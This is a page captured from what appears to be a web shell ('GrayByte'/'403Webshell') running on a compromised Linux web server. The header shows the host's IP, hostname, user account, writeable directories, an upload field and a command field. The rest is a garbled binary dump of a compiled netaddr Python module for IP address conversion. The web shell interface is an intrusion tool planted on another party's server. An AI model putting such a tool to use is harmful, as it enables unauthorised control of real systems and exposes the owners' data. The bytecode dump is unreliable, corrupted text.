- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.226.93.177
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/netaddr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/netaddr/__pycache__/fbsocket.cpython-36.pyc
3

��]< �@sXdZddlmZmZddlmZmZdZ	dZ
dd�Zdd	�Zd
d�Z
dd
�Zdd�ZdS)z=Fallback routines for Python's standard library socket module�)�unpack�pack)�_bytes_join�_is_str��
cCs>t|�stdtt|����t|�dkr0td��dtd|�S)zR
    Convert an IP address from 32-bit packed binary format to string format.
    zstring type expected, not %s�z*invalid length of packed IP address stringz%d.%d.%d.%dZ4B)r�	TypeError�str�type�len�
ValueError�_unpack)�	packed_ip�r�/usr/lib/python3.6/fbsocket.py�	inet_ntoas
rcCs*g}g}d}d}xZt|�D]N\}}|dkr@|dkr6|}|d7}n|dkrV|j||f�d}d}|j|�qW|dkr�|j||f�t|�dk�r&|jdd�d�|d}x |D]}|d|dkr�|}q�W|\}	}
|d|
�dg||
|	d�}|ddk�r|jdd�|ddk�r&|jd�|S)	Nr�0�cSs|dS)Nrr)�xrrr�<lambda>9sz&_compact_ipv6_tokens.<locals>.<lambda>)�key����)�	enumerate�appendr�sort�insert)�tokensZ
new_tokensZ	positionsZstart_indexZ
num_tokens�idx�tokenZ
best_positionZpositionZlengthZ	start_idxrrr�_compact_ipv6_tokenss:

"
r!c
Cs
|tkrt|�S|tk�r�t|�dks0t|�r8td��dd�td|�D�}ttd|��}d}x0tt	|��D] \}}|}|d|>}||B}qlWd|ko�dkns�|d	?dkr�t
ddd�|dd
�D���}t|�}	|dd�|	g}djt|��Std|��d
S)zBConvert an packed IP address of the given family to string format.�z*invalid length of packed IP address stringcSsg|]}d|�qS)z%xr)�.0�irrr�
<listcomp>Vszinet_ntop.<locals>.<listcomp>z>8Hri��l��� �>2HcSsg|]}t|d��qS)r")�int)r#r$rrrr%bsrN�:zunknown address family %d)r'���r*)
�AF_INETr�AF_INET6rrr
r�listr�reversed�_pack�joinr!)
�afrr�wordsZint_valr$Znum�wordZpacked_ipv4�ipv4_strrrr�	inet_ntopLs$
$r5c
Cs�t|�r�td|�}|jd�}t|�dkr�g}xv|D]n}|jd�sX|jd�r\t|�dkr\|�yt|�}Wntk
r�|�YnX|d?dkr�|�|jtd	|��q4Wt|�S|�td
t	|���dS)a
    Convert an IP address in string format (123.45.67.89) to the 32-bit packed
    binary format used in low-level network functions. Differs from inet_aton
    by only support decimal octets. Using octal or hexadecimal values will
    raise a ValueError exception.
    zillegal IP address string %r�.rZ0xrr�r�Bz#argument should be a string, not %sN)
rr
�splitr�
startswithr(rr/rr)�	ip_string�invalid_addrrr2r Zoctetrrr�_inet_pton_af_inetks$

 
r=cCsX|tkrt|�S|tk�rHtd|�}g}t|�s6|�d|krB|�d|k�r�|dkr`dj�dSy|jd�\}}Wntk
r�|�YnXg}g}|dkr�|jd�}|dkr�|jd�}t|�o�d|dk�rt|j��}|j	d
t
d|dd
��d�|j	d
t
d|d
d��d�t|�t|�}	d|	k�o>dkn�sJ|�dt|�t|�}
dd�|D�dd�t|
�D�dd�|D�}yBx<||D]0}t|d�}d|k�o�dkn�s�|��q�WWntk
�r�|�YnX�nRd|k�r<|jd�}
d|k�r�|
dd�}|dd �dddddgk�r8|�|d!j
�d"k�rN|�t|
�dk�r`|�t|
j��}|
j	d
t
d|dd
��d�|
j	d
t
d|d
d��d�dd�|
D�}nt|
�dk�r�|�yBdd�|
D�}
x.|
D]&}d|k�o�dkn�s�|��q�WWntk
�r*|�YnXdd�|
D�}n|�t|�Std|��dS)#z|
    Convert an IP address from string format to a packed string suitable for
    use with low-level network functions.
    zillegal IP address string %rrz::�r"rr)r6rz%xz>Hrrrr7cSsg|]}tdt|d���qS)z>Hr")r/r()r#r$rrrr%�szinet_pton.<locals>.<listcomp>cSsg|]}dj��qS)z)�encode)r#r$rrrr%�scSsg|]}tdt|d���qS)z>Hr")r/r()r#r$rrrr%�si��Nr�ffff�cSsg|]}tdt|d���qS)z>Hr")r/r()r#r$rrrr%�scSsg|]}t|d��qS)r")r()r#r rrrr%�scSsg|]}td|��qS)z>H)r/)r#r$rrrr%�szUnknown address family %drrArrr)rr@)r+r=r,r
rr?r9r�poprr�ranger(�lowerr)r1r;r<�values�prefix�suffixZl_prefixZl_suffixr4Ztoken_countZgap_sizer r3rZipv6_prefixrrr�	inet_pton�s�




  



  

rHN)�__doc__�structrrrr/Znetaddr.compatrrr+r,rr!r5r=rHrrrr�<module>s
/"

Youez - 2016 - github.com/yon3zu
LinuXploit